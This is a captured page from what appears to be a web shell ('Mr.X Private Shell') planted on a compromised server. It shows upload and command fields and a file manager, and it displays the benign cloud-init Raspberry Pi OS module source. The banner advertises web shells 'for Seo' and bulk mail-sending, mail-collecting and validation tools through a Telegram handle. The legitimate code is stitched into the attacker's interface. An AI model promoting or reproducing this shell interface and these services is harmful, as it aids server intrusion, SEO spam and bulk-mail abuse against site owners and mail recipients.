__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# Copyright (C) 2024-2025 Raspberry Pi Ltd. All rights reserved.
#
# Author: Paul Oberosler <[email protected]>
#
# This file is part of cloud-init. See LICENSE file for license information.

import logging

from cloudinit import subp
from cloudinit.distros import debian

LOG = logging.getLogger(__name__)


class Distro(debian.Distro):
    def set_keymap(self, layout: str, model: str, variant: str, options: str):
        """Currently Raspberry Pi OS sys-mods only supports
        setting the layout"""

        subp.subp(
            [
                "/usr/lib/raspberrypi-sys-mods/imager_custom",
                "set_keymap",
                layout,
            ]
        )

    def apply_locale(self, locale, out_fn=None, keyname="LANG"):
        try:
            subp.subp(
                [
                    "/usr/bin/raspi-config",
                    "nonint",
                    "do_change_locale",
                    f"{locale}",
                ]
            )
        except subp.ProcessExecutionError:
            if not locale.endswith(".UTF-8"):
                LOG.info("Trying to set locale %s.UTF-8", locale)
                subp.subp(
                    [
                        "/usr/bin/raspi-config",
                        "nonint",
                        "do_change_locale",
                        f"{locale}.UTF-8",
                    ]
                )
            else:
                LOG.error("Failed to set locale %s")

    def add_user(self, name, **kwargs) -> bool:
        """
        Add a user to the system using standard GNU tools

        This should be overridden on distros where useradd is not desirable or
        not available.

        Returns False if user already exists, otherwise True.
        """
        result = super().add_user(name, **kwargs)

        if not result:
            return result

        try:
            subp.subp(
                [
                    "/usr/bin/rename-user",
                    "-f",
                    "-s",
                ],
                update_env={"SUDO_USER": name},
            )

        except subp.ProcessExecutionError as e:
            LOG.error("Failed to setup user: %s", e)
            return False

        return True

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
package_management Folder 0755
parsers Folder 0755
OpenCloudOS.py File 277 B 0644
TencentOS.py File 277 B 0644
__init__.py File 65.89 KB 0644
almalinux.py File 151 B 0644
alpine.py File 24.35 KB 0644
amazon.py File 907 B 0644
aosc.py File 4.38 KB 0644
arch.py File 4.92 KB 0644
azurelinux.py File 2.35 KB 0644
bsd.py File 6.34 KB 0644
bsd_utils.py File 1.41 KB 0644
centos.py File 151 B 0644
cloudlinux.py File 151 B 0644
cos.py File 247 B 0644
debian.py File 10.6 KB 0644
dragonflybsd.py File 230 B 0644
eurolinux.py File 151 B 0644
fedora.py File 437 B 0644
freebsd.py File 8.53 KB 0644
gentoo.py File 4.87 KB 0644
mariner.py File 1.7 KB 0644
miraclelinux.py File 151 B 0644
netbsd.py File 5.51 KB 0644
networking.py File 10.81 KB 0644
openbsd.py File 2.37 KB 0644
openeuler.py File 275 B 0644
openmandriva.py File 237 B 0644
opensuse-leap.py File 247 B 0644
opensuse-microos.py File 247 B 0644
opensuse-tumbleweed.py File 247 B 0644
opensuse.py File 9.96 KB 0644
photon.py File 5.36 KB 0644
raspberry_pi_os.py File 2.2 KB 0644
rhel.py File 7.98 KB 0644
rhel_util.py File 1.4 KB 0644
rocky.py File 151 B 0644
sle-micro.py File 247 B 0644
sle_hpc.py File 247 B 0644
sles.py File 247 B 0644
suse.py File 81 B 0644
ubuntu.py File 2.32 KB 0644
ug_util.py File 9.77 KB 0644
virtuozzo.py File 151 B 0644
Filemanager